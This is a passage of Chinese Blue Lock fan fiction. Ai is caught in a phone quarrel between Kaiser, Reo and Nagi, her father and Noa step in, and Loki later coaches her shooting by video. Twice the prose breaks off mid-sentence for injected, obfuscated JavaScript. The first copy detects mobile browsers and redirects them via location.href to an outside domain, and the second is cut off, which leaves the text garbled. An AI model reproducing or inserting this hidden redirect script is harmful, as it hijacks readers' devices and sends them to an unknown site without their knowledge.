“呵。”他发出一声轻嗤,非但没走开,反而径直走到沙发边,在我另一侧坐了下来,长腿交叠,姿态慵懒又挑衅,“我当是谁……原来是小学徒的‘家长’啊。怎么,隔着这么远,还要对你的‘所有物’进行远程监控?” 他的话像刀子一样犀利,瞬间点燃了战火! “凯撒先生!请你说话放尊重一点!”玲王的声音彻底冷了下来,“爱是我的朋友,不是任何人的所有物!倒是你,一次又一次地纠缠她,到底有什么目的?” “目的?”凯撒拿起原本要给我的那瓶饮料,自己拧开喝了一口,语气充满了嘲弄,“我能有什么目的?只是觉得你的‘小朋友’很有趣,逗起来反应很可爱而已。怎么,这也要经过你的批准吗,御影先生?” “你——!”玲王显然被气到了,“你以为你是谁?!不过是个有点天赋就目中无人的家伙!爱不是你的玩具!” “是不是玩具,你说了不算。”凯撒的笑容越发恶劣,“至少她现在坐在我旁边,而不是在哪个角落里听着你遥远的声音。” 这话简直是在玲王的雷区蹦迪!我甚至能想象出电话那头玲王气到炸毛的样子! “凯撒!你……!” “唔……好吵……”就在这时,一个慵懒又含糊的声音突然从手机里插了进来,背景音里还有游戏机的音效,“玲王,你在和谁吵架……?是那个很吵的德国佬吗……?” 是凪!他怎么也加入了语音?! 凯撒的眉头几不可查地皱了一下:“嗯?又来了一个?听起来像还没断奶的粘人精小宝宝。” “不准你那样叫凪!”玲王立刻维护。 “呵,护得真紧。”凯撒冷笑,“可惜,你的‘宝物’看起来对你宝贵的通话兴趣不大,只关心他的游戏?” “……德国佬,”凪的声音慢吞吞地,却带着一种奇异的穿透力,“你好烦。爱很困扰,你不要再欺负她了……好麻烦……” “麻烦?”凯撒像是听到了什么有趣的话,“觉得麻烦就闭嘴睡觉去,这里没你的事,小宝宝。” “我才不是小宝宝……”凪的声音听起来有点不满,但依旧懒洋洋的,“爱,下次不要理他了……让他一个人玩吧……” 我:“……”我已经完全傻掉了!这是什么混乱的四方会谈?! “凯、凯撒!御影君!还有……凪君!”内斯在一旁急得团团转,看看这个又看看那个,试图打圆场,声音都带上了哭腔,“大家冷静一点!不要吵架!都是朋友嘛……” “谁跟他是朋友!”玲王和凯撒几乎异口同声地反驳! 内斯:“!!!”他彻底手足无措了,一副不知道到底该帮凯撒还是该帮我的“娘家人”的绝望表情。 而我,目瞪口呆地看着凯撒和手机里传来的玲王、甚至还有凪的声音进行着这场隔着时区、不带脏字却刀光剑影的“聊天”,整个人都石化在了沙发上。 这个世界……真的太疯狂了! 而这场由凯撒挑起、波及甚广的“战争”,还在继续。 “凯撒先生,我不管你是什么天才还是什么别的,”玲王的声音沉了下来,带着前所未有的严肃,“如果你再敢这样随意打扰爱,我不介意让你见识一下御影家的‘影响力’。” “哦?威胁我?”凯撒非但没怕,反而像是被激发了更大的兴趣,他甚至微微倾身,靠近了我的手机,声音压得低沉而充满挑衅,“可惜,这里是德国,御影先生。你的‘影响力’……的手,恐怕伸不了这么长。” “你可以试试看。”玲王毫不退让。 “……好麻烦啊……”凪在一旁幽幽地叹气,“爱,你什么时候回来?玲王快要碎掉了……” “啧,真是主仆情深。”凯撒嫌弃地撇嘴,视线转向我,冰蓝色的眼睛里闪烁着恶劣的光芒,“小学徒,看来你的‘朋友们’都很需要你啊。不过……” 他故意拖长了语调,像是在宣布什么重要结论。 “……现在,你归我管。” 这句话如同投入平静湖面的巨石,瞬间在我脑海里掀起了惊涛骇浪,也通过手机清晰地传到了大洋彼岸。 电话那头陷入了短暂的死寂,随即是玲王几乎要冲破云霄的怒喝:“凯撒——!!!” 以及凪似乎被惊醒的、略带困惑的声音:“……诶?” 内斯已经彻底放弃了调解,双手捂着脸,发出无声的哀嚎。 而我,看着凯撒那张写满了“我就喜欢你看不惯我又干不掉我”的嚣张脸庞,只觉得一阵头晕目眩。 上帝啊,谁来救救我……或者,干脆来个雷把他劈晕过去吧! 凪诚士郎不愧是天才,没一会儿就从这两人争吵的内容中提取出了关键词,他那慵懒的声线透过电流,慢吞吞地却又精准无比地插了进来,像一把钝刀子: “……所以,德国佬。”他顿了顿,仿佛在组织语言,或者说在节省能量,“你是看玲王不爽,才故意欺负爱的,对吧?因为爱是玲王的‘宝物’……之一?” “凪!”玲王的声音听起来像是被踩了尾巴的猫,又急又恼,还带着一丝被说中心事的慌乱。 凯撒在电话那头发出一个极其轻蔑的嗤笑:“‘宝物’?呵。我对别人怎么划分所有权没兴趣。我只是在做我觉得有趣的事。”他的声音压低了些,带着一种令人头皮发麻的针对性,“比如现在,看你们隔着电话跳脚,就很有趣。” “才不是跳脚……”凪的声音依旧没什么起伏,但杀伤力丝毫不减,“是觉得你很可怜。只能通过欺负女孩子,和抢别人‘宝物’的方式来证明自己……是因为自己什么都没有吗?好可悲……” 我猛地倒吸一口冷气!凪!你在说什么啊!这种话简直是往炸药桶上扔火柴! 电话那头的玲王似乎也惊呆了,一时没了声音。 凯撒那边沉默了足足两秒。随即,我几乎能透过手机感受到他那骤降的气压和冰蓝色的眼眸里凝结的寒意。 “……可怜?可悲?”他重复了一遍,声音轻柔得可怕,却带着一种暴风雨前的死寂,“一个靠着别人‘饲养’才能动弹的宝宝,一个离了‘主人’就连方向都找不到的附属品,也配对我说这种话?” “凯撒!”玲王的声音瞬间尖锐起来,充满了被触及逆鳞的暴怒,“你闭嘴!不准你那样说凪!” “我说错了吗?”凯撒的毒舌技能显然点满了,攻击范围无差别覆盖,“一个控制狂,一个寄生虫,倒是绝配。难怪把一个小姑娘也当成所有物看得这么紧,是怕她跑了,就没人陪你们玩过家家的友情游戏了?” “你懂什么?!”玲王气得声音都在抖,“我和凪、和爱之间的羁绊……” “羁绊?”凯撒大笑起来,笑声里充满了讽刺,“笑死人了。足球是撕咬、吞噬、踩着别人往上爬的运动!你们那套温情脉脉的羁绊戏码,还是留着回去演校园偶像剧吧!看着就恶心。” “……恶心的是你才对吧。”凪慢悠悠地打断他,语气里带着一种罕见的、冰冷的嫌弃,“像 spoiled milk一样,又酸又臭,还硬要凑到别人面前……爱,下次记得离他远点,会变质的。” Spoiled milk?!凪你从哪里学来的这种比喻?!我捂着胸口,感觉心跳都快骤停了!这已经不是吵架,这是核战争! 凯撒显然被这个“生动”的比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251844|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喻噎住了,我甚至能听到他那边传来指节捏紧的轻微咔哒声。 “呵……呵呵……”他怒极反笑,“内斯!听见了吗?有人把你的搭档比作 spoiled milk。”他居然还把战火引向了旁边快要缩进地缝里的内斯! “啊?!我、我……”内斯惊慌失措的声音带着哭腔响起,“凯撒!凪君!大家都冷静!求求你们别吵了!爱她真的很为难……” 而我,夹在这场由我引发的、跨越国境的、三个顶尖足球天才的幼稚又毒舌的骂战中心,只觉得天旋地转,血液一股脑地往头上涌,脸颊烫得能煎鸡蛋,耳朵里嗡嗡作响。 救命……真的好想晕过去……这样是不是就能逃避这可怕的一切了? 但是不行!绝对不行!我清田爱,这辈子只在幼稚园哭晕过去两次!那已经是黑历史了!现在要是因为这种理由晕倒,那简直是一辈子的耻辱!会被嘲笑到进棺材的! 爸爸……爸爸你在哪里啊!快来啊!我需要你!需要你用那种惊天动地的大嗓门和不讲道理的插科打诨来打破这可怕的局面!快来把这个该死的、惹是生非的家伙拎走啊! 或许是我的祈祷太过强烈,旁边的内斯似乎和我产生了心灵感应。我眼角的余光瞥见他手忙脚乱地掏出了手机,脸色发白,手指颤抖着飞快地戳着屏幕,嘴里小声地、绝望地念念有词:“清田先生……救命……快点接电话啊……” 而我手里的电话那头,战争已经进入了白热化阶段。凯撒1V2,凭借其强大的毒舌功力和毫无底线的攻击性,竟然和隔着电话、占据人数优势的玲王与凪斗得旗鼓相当,甚至偶尔还能打出暴击。 “御影家的小少爷,与其在这里无能狂怒,不如想想怎么活下去吧?别到时候被淘汰了,哭着回来找你的‘宝物’求安慰。” “米菲兔宝宝,睡醒了就多踢踢球,免得肌肉萎缩,以后连游戏手柄都拿不稳。” “至于我的小学徒,归谁管……轮不到你们操心。至少现在,她得乖乖听我的。” “谁要听你的啊混蛋!”我忍无可忍地对着手机尖叫,可惜声音完全被那三个人的声浪淹没了。 我绝望地捂住耳朵,但那些刻薄的、愤怒的、冰冷的的话语还是无孔不入地钻进我的脑海。玲王的维护,凪的精准打击,凯撒的恶意挑衅……混在一起,像一团巨大的、嘈杂的、快要爆炸的毛线球,把我的脑子搅得一塌糊涂。 就在我感觉自己真的要窒息,即将社会性死亡在这间德国俱乐部的休息室里的时候—— “砰!” 休息室的门被人从外面一把猛地推开了!巨大的声响瞬间压过了所有的争吵声! 我吓得一个激灵,猛地抬头望去。 只见我爸像一尊铁塔似的堵在门口,胳膊底下还夹着个足球,脸上带着一种“老子倒要看看是哪个小兔崽子敢欺负我闺女”的凶悍表情(虽然看起来更像准备去干架),而他的身后,站着面无表情、眼神锐利得像鹰一样的诺埃尔·诺亚。 房间内的空气瞬间凝固了。 电话那头,玲王和凪似乎也感受到了这边突如其来的寂静和低气压,争吵声戛然而止。 我爸那双和我相似的眼眸在房间里犀利地扫视了一圈——看到了一脸快哭出来的内斯,看到了瘫在沙发上、捂着耳朵、脸色通红、眼神呆滞、仿佛刚遭受了精神摧残的我,最后,他的目光落在了我手里还传出微弱电流声的手机上。 “吵什么呢?!”我爸的嗓门如同惊雷炸响,带着退役门将特有的穿透力,震得玻璃窗似乎都在嗡嗡作响,“隔着走廊就听见你们在这儿叽叽喳喳!比菜市场还热闹!干嘛呢?!开国际辩论会啊?!” 他的出现像是一盆冰水,瞬间浇灭了所有燃烧的战火。 内斯像是看到了救世主,几乎要扑过去抱住他的大腿:“清田先生!您终于来了!” 我手里的手机彻底安静了,玲王和凪那边悄无声息,不知道是吓呆了还是明智地选择了沉默。 而唯一一个还敢发出声音的,是凯撒。 透过手机的扬声器,传来他一声极轻的、意味不明的轻笑,仿佛刚才那场激烈的争吵对他而言只是一场无伤大雅的游戏。 但这声轻笑无疑是在挑衅我爸的权威。 我爸的眉头瞬间拧成了一个疙瘩,他大步走过来,一把从我手里拿过手机,看也没看,直接对着话筒吼了一句:“哪个小兔崽子?再吵吵信不信我飞回去揍你?!给我安静点!” 说完,他根本不给对方任何回应的时间,“啪”地一声直接挂断了电话!世界,终于清静了。 他把手机扔回给我,然后双手叉腰,瞪着我和内斯:“说吧!怎么回事?!谁惹的祸?” 他的目光最后落在了内斯身上,显然认为罪魁祸首是凯撒,而内斯是共犯。 内斯吓得一哆嗦,连忙摆手:“不、不是的!清田先生!是、是误会……” “误会?”一个冰冷平静的声音从门口传来。 诺亚缓缓踱步进来,他的目光扫过现场,最后落在我那张恐怕还没恢复血色的脸上,语气没什么起伏,却带着一种洞悉一切的了然:“听起来,像是凯撒又招惹你了?” 我张了张嘴,却发现自己一个字都说不出来,只能羞愧地低下头。太丢人了!因为自己,引发了这么一场离谱的跨国骂战,最后还要家长来收拾残局…… “凯撒那小子!”我爸果然立刻就把矛头对准了唯一不在场的惹事精,气得吹胡子瞪眼,“我就知道!从接机那天就看出来他不是个安分的!仗着有张脸和踢球的天赋就无法无天了!连我女儿都敢欺负!看我不找他教练聊聊!” “伊戈尔。”诺亚淡淡地开口,阻止了我爸即将爆发的怒火,“冷静点。球员的私事,教练不便过多干涉。” 他转而看向我,那双锐利的眼睛仿佛能看穿我的内心:“不过,清田爱,如果你需要学习如何应对这种……纠缠,我可以教你几招。足球场上,对付这种喜欢挑衅的前锋,最好的办法就是让他彻底闭嘴——用实力。” 用实力让凯撒闭嘴?诺亚先生,您是不是对我有什么误解? 我爸似乎被诺亚的话点醒了,他摸着下巴,上下打量了我一番,忽然露出一个有点古怪的笑容:“嗯……诺埃尔说的有道理。宝贝闺女啊,你看,这就是足球世界的残酷缩影!什么都可能发生!想不被人欺负,就得自己支棱起来!” 他用力拍了拍我的肩膀,拍得我差点岔气:“所以!从明天开始!训练量加倍!老爸亲自监督!保证让你尽快拥有把凯撒那种臭屁小子过掉然后射门的实力!看他以后还敢不敢嚣张!” 我:“???” 等等!这事情的走向是不是有点不对?难道不应该是爸爸你去把凯撒揍一顿替我出气吗?怎么突然就变成我要训练加倍了?! 内斯在一旁听得目瞪口呆,张着嘴想说什么,却又不敢插话。 诺亚倒是赞同地点了点头:“很合理的解决方案。天赋需要磨练才能转化为实力。逃避和依赖他人保护,在足球世界里行不通。” 我看着眼前这两位世界顶级的足球大佬,一位是我那看热闹不嫌事大的老爹,一位是冷酷无情的利己主义前锋,三言两语就把我被欺负的事件定性为“需要自身变强来解决的足球课题”,整个人都懵了。 所以……这场惊天动地的跨国骂战,最终结局就是——我要加练? 上帝啊……让我晕过去吧,这次我是真的想了! 45. 加练 加练归加练,看着凯撒那张写满不爽却又不得不耐着性子听我爸和诺亚你一言我一语“教诲”的脸,我心里那点憋屈和郁闷顿时烟消云散,甚至有点想仰天大笑三声。 该!让你嚣张!让你嘴贱!终于有人能治你了吧! 我爸就不用说了,退役传奇门将的架子一端,絮絮叨叨说起“年轻人要沉得住气”、“尊重女孩子是基本素养”、“踢球先做人”之类的大道理,虽然听起来有点老生常谈,但配上他那张严肃起来还挺能唬人的脸和洪亮嗓门,压迫感十足。诺亚就更绝了,他压根不接那些虚的,就抱着胳膊站在一边,偶尔冷冷地插一句,全是数据化的精准打击:“根据统计,情绪不稳定的前锋赛季进球率平均下降百分之十二”、“不必要的场外因素会影响训练专注度,你的体测数据上周下降了零点三个百分点”……每一句都像冰锥子,砸得凯撒脸色又黑一分。 他显然极度不耐烦,眉头拧得死紧,冰蓝色的眼睛里全是被浪费时间的躁郁,几次想开口打断,都被我爸更高一嗓门或者诺亚又一个冷冰冰的数据给堵了回去。只能双手插兜,下颌线绷得紧紧的,脚尖无意识地碾着地上一颗不存在的小石子,浑身散发着“老子不想听但暂时没法走”的憋屈气场。 太爽了!真是天道好轮回! 我偷偷摸出手机,飞快地对着他此刻的窘态抓拍了一张,虽然有点模糊,但那份吃瘪的神韵抓得极准!必须珍藏!以后他再敢欺负我,我就把这张照片设置成手机屏保天天怼给他看! 内斯站在稍远一点的地方,看看被“围攻”的凯撒,又看看一脸窃喜的我,梅色的眼睛里写满了担忧和犹豫,手指绞在一起,显然是想上去帮凯撒解围,但又觉得凯撒这次确实理亏,而且……看在我“受委屈”的份上,他最终只是叹了口气,忍下了上前帮忙的冲动,选择原地罚站,表情复杂得像生吞了一整个柠檬。 这场“批斗大会”持续了将近十分钟,直到教练组有人来找诺亚和我爸,似乎有什么技术问题要讨论,才总算结束。凯撒几乎是立刻转身就走,脚步快得带风,留下一个写着“莫挨老子”的冷硬背影。内斯如蒙大赦,赶紧对我们抱歉地鞠了一躬,匆匆追了上去。 诺亚临走前,又看了我一眼,言简意赅:“记住我说的话。实力。”然后才跟着我爸他们离开。 热闹散场,休息室里又只剩下我一个人。看着空荡荡的房间,回想起刚才那鸡飞狗跳的一幕,尤其是凯撒那张臭脸,我又忍不住噗嗤一声笑了出来。心情大好之下,感觉被强行掳来的怨气也消得差不多了。 晚上回到酒店,我把那张凯撒的“吃瘪照”设置成了手机隐藏相册,又欣赏了好几遍,才心满意足地去洗澡。热水冲散了疲惫,也冲走了最后那点不愉快,躺在柔软的大床上,几乎是脑袋一沾枕头就呼呼大睡,一夜无梦。 然而,快乐的时光总是短暂的。第二天早上醒来,阳光透过窗帘缝隙照在脸上,我伸着懒腰,迷迷糊糊地去抓手机,第一个闯入脑海的念头竟然是——啊,天气真好,适合…… 等等! 加练!我爸昨天说的!训练量加倍! 所有的惬意和放松瞬间跑光光,我像被泼了一盆冷水,猛地从床上弹坐起来,整个人都蔫儿了。一想到那些枯燥的体能训练、重复的技术动作,还有我爸那“激情澎湃”的监督方式,我就头皮发麻,一百万个不乐意。 赖在床上翻滚哀嚎了半天,也没能改变这个残酷的事实。抱着最后一丝希望,我戳开手机,试图寻找能让我逃避现实的东西。划拉着屏幕,视线无意中落在了那个猎豹头像上——朱利安·洛基。 对了!洛基!他可是PXG的天才前锋,训练方法肯定很厉害吧?而且他看起来那么礼貌绅士,请教他一下训练方面的事情,应该……不会被拒绝吧?总比直接问我爸或者诺亚那种压力山大的感觉要好! 说干就干!我立刻点开和洛基的聊天框,斟酌着措辞。 【我:早上好,洛基先生。冒昧打扰了,想请教一下,如果想提升射门的力量和精准度,有什么特别有效的训练方法吗?或者需要注意的细节?】发出去之后,我又觉得有点太正式,赶紧补了一个可爱的表情符号缓和气氛。 没想到他回复得相当快。 【洛基:早上好,爱。直接叫我朱利安就好。当然可以,这并不是什么需要保密的事情。】他的用词依旧直接而坦率, 【力量和精准度需要结合核心力量训练与技术动作的打磨。你目前是在健身房训练居多,还是已经有球训练了?】 我眼睛一亮,立刻回复:【已经有球了!我爸最近开始让我练习射门了,但总觉得发力不对,球速不够快,也老是打偏。】 【洛基:明白了。基础的腿部力量和核心稳定性是基础,这个需要持之以恒的健身房训练。但有球练习时,支撑脚的位置、摆腿的幅度和触球部位的选择更为关键。我个人习惯会在热身结束后,先进行一组……】 他非常耐心地发来好几段文字,详细讲解了几个训练步骤和要点,甚至还提到了不同的射门方式(脚背抽射、脚内侧推射等)不同的发力感觉和瞄准方法,专业又清晰,比我爸那种“感觉!要靠感觉!砰一下出去就对了!”的抽象教学不知道高到哪里去了! 我赶紧找出小本本认真记笔记,一边回想着自己练习时的别扭感觉,一边向他提问。 【我:原来支撑脚要踩在这个位置吗?我好像总是离得太远了……】 【洛基:是的,太远会导致发力不畅,身体容易后仰。距离需要根据你的步幅和习惯慢慢调整,但大致范围是……】 【我:还有摆腿,是不是不能只用大腿的力量?】 【洛基:很好的问题。需要腰腹核心带动,大腿摆动,最后脚踝绷紧锁定,像鞭子一样抽出去。你可以先无球练习摆腿动作,感受发力链条……】 我们一来一往,聊了大概二十多分钟。我完全沉浸在汲取新知识的兴奋里,几乎忘了加练的痛苦。洛基虽然说话直接,但解释得非常清楚,没有任何不耐烦,偶尔还会肯定一下我的问题“切中要害”。 【洛基:你的理解速度很快,很有潜力。】他甚至这样夸了我一句。 我被他夸得有点不好意思,正想回复谢谢,手机屏幕突然一变——洛基直接发来了一个视频通话请求! 诶?视频通话? 我愣住了。虽然聊得挺愉快,但突然打视频过来还是让我有点意外。是觉得文字说不清楚,想直接演示给我看吗?嗯,很有可能,毕竟他是行动派。 这么一想,我也就没再多犹豫,按下了接听键。 网络连接成功,屏幕亮起——然而,映入眼帘的并不是洛基那张轮廓分明、肤色健康的俊脸,而是一头晃眼的金白挑染短发! 屏幕那端似乎正在经历一场激烈的手机争夺战,画面晃动得厉害,只能听到洛基似乎有点恼火的声音从背景里传来:“夏尔!把手机还给我!” “哎呀,借我看看嘛洛基!你不是说她在请教训练问题?我也很好奇嘛!”一个清亮又带着点痞气的少年声音笑嘻嘻地响起,同时,那张属于夏尔·希瓦利埃、笑容灿烂得过分、露出一颗小虎牙的脸庞猛地占据了整个屏幕! 他好像刚训练完,额头上还带着汗珠,金色的眼睛在屏幕那头闪闪发光,充满了毫不掩饰的好奇和恶作剧得逞的兴奋。他对着镜头用力挥手,声音超大: “嗨!美女姐姐!又见面啦!听说你在学射门?要不要我来教你啊?我的射门可是教练都夸帅的!” “教我射门这种事还是交给专业的射手来干吧,”我看着屏幕里那两个扭打在一起的身影,忍不住小声吐槽。这突如其来的混乱场面让我有点懵,但更多的是哭笑不得。夏尔·希瓦利埃,这个活力过剩的“天邪鬼”,果然到哪里都能掀起风浪。 屏幕晃动得厉害,几乎看不清具体动作,只能听到洛基似乎有些气急败坏的声音:“夏尔!别闹了!把手机给我!” “就看一下嘛!洛基你真小气!哇!这就是之前那个漂亮姐姐?比视频里还好看!”夏尔的声音依旧笑嘻嘻的,充满了毫不掩饰的好奇和兴奋,他的脸时不时猛地凑近镜头,那头金白挑染的短发和亮闪闪的金色眼睛几乎要占据整个屏幕。 就在我以为这场手机争夺战要持续到天荒地老时,画面猛地一定格——只见洛基那张轮廓分明、带着些许无奈的古铜色脸庞重新出现在了画面中央,他一只手牢牢地箍着夏尔的脖子(动作看起来相当熟练),另一只手稳稳地拿回了手机。夏尔在他臂弯里张牙舞爪地扑腾着,像只被抓住后颈皮还不肯安分的大型犬。 “抱歉,爱。”洛基的气息稍微有点急促,但语气已经恢复了冷静,他对着镜头露出一个带着歉意的笑容,“某个缺乏管教的家伙突然闯进来了。” “谁缺乏管教了!我只是好奇!”夏尔在他胳膊底下大声抗议,努力想把脑袋挤进镜头,“美女姐姐!我叫夏尔!还记得我吗?射门有什么难的?我教你啊!保证比洛基教得有趣!他那一套太死板了!” 洛基无视了他的嚷嚷,手臂稍微用力,把夏尔试图凑过来的脑袋按了回去,然后对我说道:“稍等我一下,我处理点‘噪音’。” 说完,他拿着手机,就这么半拖半拽地把还在喋喋不休的夏尔往画面外挪去。我惊讶地发现,夏尔虽然年纪小,但身高居然已经和洛基相差无几了!洛基想把他整个人拎起来似乎有点困难,只能采取这种揪着领子、卡着脖子的方式把他强行拖走,看起来有点滑稽,却又透着一种奇异的默契。 “喂喂喂!洛基!轻点!勒到我脖子了!我这嗓子以后还要靠它唱歌呢!” “闭嘴,夏尔。再吵下周所有甜品供应取消。” “……你这是虐待未成年!教练!教练你看他——哦豁,教练还真在……” 背景音里隐约传来一个听起来颇为豪爽(又有点耳熟?)的怒吼声:“希瓦利埃!你又皮痒了是不是?!给我滚去加练!绕场二十圈!现在!立刻!” “啊啊啊!大胡子叔叔我错了!哎哟……洛基你居然偷袭!不讲武德……” 一阵鸡飞狗跳的嘈杂声和夏尔逐渐远去的、夸张的哀嚎声之后,画面终于恢复了稳定。洛基重新出现在了镜头前,他整理了一下稍微有些凌乱的训练服领口,呼吸已经平复,脸上带着一丝搞定麻烦后的轻松。 “好了,噪音源暂时清除。”他对着镜头笑了笑,露出白牙,“我们继续?” 我看着这一幕,心里那点因为被迫加练而升起的郁闷竟然奇迹般地消散了不少。原来不止我一个人要面对加练的“酷刑”!那个看起来无法无天的夏尔·希瓦利埃,也有被教练治得服服帖帖的时候!甚至可能正顶着大太阳苦哈哈地跑圈呢!这么一想,平衡多了! “嗯!继续吧!”我的语气不自觉地轻快起来,“刚才说到支撑脚的位置和摆腿的发力链条……” 接下来的交流变得异常顺畅高效。洛基是一个非常棒的“老师”,他讲解清晰,示范到位(虽然是通过视频,但他会尽量找角度让我看清他的动作模拟),而且善于用简单的比喻让我理解那些抽象的技术要点。比如他会说“触球瞬间脚踝要像打鞭子一样绷紧,把力量瞬间释放出去”,或者“想象你的核心是一根拧紧的发条,带动大腿甩出去”。 我听得非常投入,一边听一边忍不住比划着无球动作,甚至拿出小本本飞快地记录关键词。他偶尔会让我模仿一下动作,然后通过屏幕观察,给出非常精准的调整建议:“肩膀再打开一点”、“眼睛不要提前看地面,要盯着假设的足球”、“脚踝!绷紧!对,就是这样!” 不知不觉,我们竟然又聊了将近一个小时。直到他的队友在远处喊他,似乎下一轮训练要开始了,他才不得不结束这次意外的“视频教学”。 “今天先到这里吧。”洛基的语气依旧平稳,但能听出一丝训练后的疲惫,“这些要点你需要在实际练习中慢慢体会和固化。如果有任何问题,随时可以问我。” “真的太感谢你了,朱利安!”我由衷地道谢,心里充满了收获知识的充实感,“你讲得比……呃……某些人清楚多了!”我差点顺口说出“比我爸”,赶紧刹住车。 洛基似乎轻笑了一下,金色的眼眸在屏幕那头显得很亮:“能帮到你就好。期待看到你的进步。”他顿了顿,又补充了一句,语气带着他特有的坦率和自信,“也希望以后有机会,能在球场上亲眼见证你的射门。” 这话让我心头微微一热,一种被认可、被期待的感觉悄然滋生。“嗯!我会努力练习的!” 结束视频通话后,我抱着笔记本,回味着刚才学到的要点,感觉浑身都充满了干劲(虽然对即将到来的加练还是有点发怵)。原来得到专业又耐心的指导,是这种感觉!和某个只会冷嘲热讽、动不动就脱衣服污染视线的家伙完全不同! 说到那个家伙……我下意识地瞥了一眼手机。意外地安静。居然没有在我和洛基通话期间跑来刷存在感?这不科学。难道是昨天被我爸和诺亚联手“教育”得太狠,暂时偃旗息鼓了?还是又在酝酿什么更大的幺蛾子? 摇摇头,决定不再去想那个麻烦精。我深吸一口气,认命地从床上爬起来。该面对的总是要面对,加练就加练吧!至少现在,我有了更明确的目标和方向——早日把射门练好,然后……嗯,虽然用实力让凯撒闭嘴听起来像天方夜谭,但至少不能再让他随便看扁了! 抱着这种“悲壮”的心情,我换好运动服,走向了酒店附近的公共训练场——那是我爸提前侦察好的、据说设施还不错的地方。 果然,我爸已经等在哪儿了,正拿着个秒表,一脸“我很严格”的表情,旁边还放着几个足球和一壶水。 “哟!来了?”他上下打量了我一番,点点头,“气势不错!看来是做好心理准备了!那就先热身!绕场五圈!速度提起来!” 我哀叹一声,任命地开始跑圈。阳光有点烈,跑起来很快就出汗了。我爸就在场边一边溜达一边大声指挥:“手臂摆起来!核心收紧!呼吸!注意节奏!” 热身完毕,稍微拉伸了一下,他就迫不及待地开始今天的“正餐”。 “好了!昨天诺亚那小子说得对!想不被人欺负,就得自己硬起来!今天咱们主练射门!”他把足球摆好,大手一挥,“来!先踢几个给我看看!用尽全力!别怕踢飞!” 我站在球前,回想了一下洛基刚才讲的要点:支撑脚的位置、摆腿、核心发力、脚踝绷紧……深吸一口气,助跑,摆腿,射门! 砰! 足球歪歪扭扭地飞了出去,离球门差了大概十万八千里。 “………”我爸沉默了两秒,摸了摸下巴,“嗯……劲儿是有点了,就是这准头……再来!” 我又试了几次,不是打高射炮,就是软绵绵地滚出底线。每次失败,我爸就在旁边大声分析(吐槽): “哎哟歪了歪了!肩膀太紧了!” “发力太早了!腿跟面条似的!” “脚踝!跟你说了脚踝要绷住!怎么又软了!” 练了大概二十多分钟,我累得气喘吁吁,汗如雨下,却连一次像样的射门都没踢出来,心情开始有点沮丧。果然理论和实践差距太大了。 “停停停!”我爸终于叫了停,走过来,皱着眉头,“不对不对,感觉完全不对。你这发力方式有问题,光靠大腿抡,核心根本没用上。” 他摸着下巴围着我转了两圈,忽然眼睛一亮:“有了!你等等!”说完,他快步跑到场边,从他那个巨大的运动背包里翻找起来。 我撑着膝盖喘气,心里有点不好的预感。以我爸那种不靠谱的性格,他想出的“妙招”通常都很……别致。 果然,他拿着两样东西回来了——一条弹力带,还有……一对看起来沉甸甸的、绑在脚踝上的沙袋? “来!把这个戴上!”他兴致勃勃地把沙袋递给我,“增加点阻力,帮你找到发力感觉!” 我将信将疑地把沙袋绑在脚踝上,顿时感觉两条腿像灌了铅一样沉。 “还有这个!”他又把弹力带的一端绑在旁边的球门柱上,另一端让我用手拉着,“模拟摆臂发力,带动核心!记住那种扭转的感觉!” 于是,我就以这样一种极其别扭的姿势——脚踝绑着沙袋,手里拉着弹力带,试图进行射门动作。动作慢得像太空漫步,而且异常吃力,没几下就累得满头大汗,姿势更加惨不忍睹。 “不对不对!腰!用腰发力!带动起来!哎哟看着都急死人!”我爸在一旁看得直跳脚,比我还着急。 就在我累得眼冒金星、几乎要放弃的时候,一个熟悉又讨厌的声音慢悠悠地从旁边传了过来: “啧。这是哪种原始人的训练方法?清田前辈,您的教练执照是买来的吗?” 我和我爸同时转头望去——只见凯撒不知何时出现在了训练场边,他穿着一身黑色的休闲服,双手插兜,斜倚着栏杆,脸上戴着那副遮住大半张脸的墨镜,嘴角勾起一个嘲讽的弧度。内斯跟在他身后半步的地方,看到我们,脸上立刻露出歉意的笑容,小幅度的挥了挥手。 阴魂不散!他怎么找到这里的?! 我爸的脸瞬间就黑了下来:“臭小子!你说什么?!老子当年这么练的时候,你还在穿开裆裤呢!” “哦?是吗?”凯撒轻笑一声,语气里的鄙夷毫不掩饰,“难怪您的巅峰期结束得那么早。落后的训练方法除了增加受伤风险和养成错误肌肉记忆,毫无用处。” “你——!”我爸气得吹胡子瞪眼,却一时找不到话反驳。 凯撒不再理他,迈步走进了训练场,径直朝我走来。他在我面前站定,墨镜下的目光似乎在我脚踝的沙袋和手里的弹力带上扫了一圈,嗤笑道:“小学徒,你想把自己练成一坨只会用死力气的僵硬肌肉吗?” 我累得没力气跟他吵,没好气地瞪了他一眼:“要你管!” “本来是不想管的。”他耸耸肩,语气懒洋洋的,“但看你这么糟蹋自己那点可怜的天赋,实在有点碍眼。” 他忽然伸出手,猝不及防地捏了一下我拉着弹力带的那只手臂的上臂。他的手指带着微凉的温度,力道不轻,我吓得猛地缩回手,弹力带“啪”地一下弹了回去。 “核心无力,手臂代偿。错误。”他冷冷地丢下判断,然后又指向我的脚,“沙袋绑在这个位置,只会让你的摆动关节锁死,发力更加不顺畅。愚蠢。” 我爸在一旁气得跳脚:“喂!臭小子!你别动手动脚的!还有,我的训练方□□不到你指手画脚!” 凯撒完全无视了他,目光转向我,虽然隔着墨镜,但我能感觉到那视线极具穿透力:“把那些破烂玩意儿解下来。” 他的语气带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“想象你的身体是一张弓。”他的声音低沉,响在我耳边,“这里,”他的手指几乎要碰到我的后背,让我下意识地绷紧了身体,“是弓身。摆腿是拉弦。触球那一刻,就是箭射出去的瞬间。力量是从中心炸开,传递到末端的,而不是从末端硬憋出来的。懂?” 